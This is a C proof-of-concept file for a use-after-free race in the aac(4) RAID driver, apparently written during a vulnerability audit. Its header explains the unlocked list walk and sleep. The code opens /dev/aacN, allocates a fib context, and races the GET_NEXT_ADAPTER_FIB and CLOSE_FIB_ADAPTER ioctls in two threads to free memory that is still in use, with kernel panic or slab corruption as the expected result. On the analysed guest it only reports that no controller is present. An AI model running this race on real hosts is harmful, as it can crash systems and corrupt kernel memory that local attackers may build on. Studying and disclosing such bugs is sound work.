/*
 * DF-1231 — aac_getnext_aif() UAF race proof-of-concept
 *
 * Bug (sys/dev/raid/aac/aac.c):
 *   Lines 3527-3531: lookup loop
 *       for (ctx = sc->fibctx; ctx; ctx = ctx->next)
 *           if (agf.AdapterFibContext == ctx->unique) break;
 *     runs WITHOUT the aac_aifq_lock.
 *
 *   Lines 3536-3544: tsleep(sc->aac_aifq, ...) also WITHOUT the lock, then
 *     on wakeup calls aac_return_aif(sc, ctx, ...) which derefs
 *     ctx->ctx_idx / ctx->ctx_wrap (aac.c:3562, 3574-3575).
 *
 * Concurrent aac_close_aif (aac.c:3489-3512) takes the lock, unlinks the
 * ctx, drops the lock, and kfrees ctx. Two races:
 *   (a) close runs between two iterations of the lookup loop -> reads
 *       ctx->next of freed memory -> UAF.
 *   (b) close runs while getnext is in tsleep -> on wakeup, ctx is freed
 *       and aac_return_aif derefs ctx->ctx_idx/ctx_wrap on freed memory.
 *
 * Privilege: /dev/aacN opened by operator group (0640 perms in devfs),
 * so any local user in 'operator' can race these two ioctls.
 *
 * THIS GUEST: no Adaptec AAC controller in pciconf -l; no /dev/aacN node
 * exists; the ioctls are not reachable. PoC prints reachability status.
 * On a real host with an aac(4) controller, two processes racing
 * FSACTL_GET_NEXT_ADAPTER_FIB vs FSACTL_CLOSE_FIB_ADAPTER trigger the UAF.
 */

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#ifndef FSACTL_GET_NEXT_ADAPTER_FIB
#define FSACTL_GET_NEXT_ADAPTER_FIB  _IOWR('A', 0x42, void)
#endif
#ifndef FSACTL_CLOSE_FIB_ADAPTER
#define FSACTL_CLOSE_FIB_ADAPTER     _IOW('A',  0x43, uint32_t)
#endif
#ifndef FSACTL_OPEN_GET_ADAPTER_FIB
#define FSACTL_OPEN_GET_ADAPTER_FIB  _IOW('A',  0x4b, void)
#endif

static int g_fd = -1;
static volatile int g_stop = 0;

static void *
getnext_thread(void *arg)
{
    unsigned char buf[512];
    /* FSACTL_GET_NEXT_ADAPTER_FIB with Wait=1 blocks in tsleep;
     * concurrent close in the other thread frees our ctx. */
    while (!g_stop) {
        ioctl(g_fd, FSACTL_GET_NEXT_ADAPTER_FIB, buf);
    }
    return (NULL);
}

static void *
close_thread(void *arg)
{
    uint32_t ctx = (uint32_t)(uintptr_t)arg;
    while (!g_stop) {
        ioctl(g_fd, FSACTL_CLOSE_FIB_ADAPTER, &ctx);
    }
    return (NULL);
}

int
main(void)
{
    int fd;
    unsigned char buf[512];
    uint32_t ctx;
    pthread_t th_get, th_close;
    const char *devs[] = {"/dev/aac0", "/dev/aac1", "/dev/aac2", "/dev/aac3"};
    int i;

    printf("[DF-1231] aac_getnext_aif UAF race demonstrator\n");
    printf("[DF-1231] Bug: getnext walks fibctx list (aac.c:3528) and tsleeps\n");
    printf("[DF-1231]      (aac.c:3540) WITHOUT aac_aifq_lock; close kfree()s ctx.\n\n");

    fd = -1;
    for (i = 0; i < 4; i++) {
        fd = open(devs[i], O_RDWR);
        if (fd >= 0) {
            printf("[DF-1231] Opened %s -- controller present.\n", devs[i]);
            break;
        }
    }
    if (fd < 0) {
        printf("[DF-1231] No /dev/aacN found: %s\n", strerror(errno));
        printf("[DF-1231] No Adaptec FSA RAID on guest -> ioctls not reachable.\n");
        printf("[DF-1231] Source-level verification only (see VERDICT.md).\n");
        return (0);
    }

    /* Allocate a fib context to race against */
    if (ioctl(fd, FSACTL_OPEN_GET_ADAPTER_FIB, buf) != 0) {
        printf("[DF-1231] OPEN_GET_ADAPTER_FIB failed: %s\n", strerror(errno));
        close(fd);
        return (1);
    }
    /* ctx unique is the first uint32 of the returned get_adapter_fib_ioctl */
    ctx = *(uint32_t *)buf;
    printf("[DF-1231] Opened fib context unique=0x%x\n", ctx);

    g_fd = fd;
    pthread_create(&th_get,   NULL, getnext_thread, NULL);
    pthread_create(&th_close, NULL, close_thread,   (void *)(uintptr_t)ctx);
    printf("[DF-1231] Racing getnext (Wait=1) vs close for ~5s...\n");
    sleep(5);
    g_stop = 1;
    pthread_cancel(th_get);
    pthread_cancel(th_close);
    pthread_join(th_get, NULL);
    pthread_join(th_close, NULL);
    printf("[DF-1231] If kernel survived, the bug did not trigger this run.\n");
    printf("[DF-1231] On an unpatched kernel with adequate timing, expect:\n");
    printf("[DF-1231]   panic: page fault in aac_return_aif/aac_getnext_aif\n");
    printf("[DF-1231]   OR silent UAF (INVARIANTS-OFF) -> slab corruption.\n");
    close(fd);
    return (0);
}
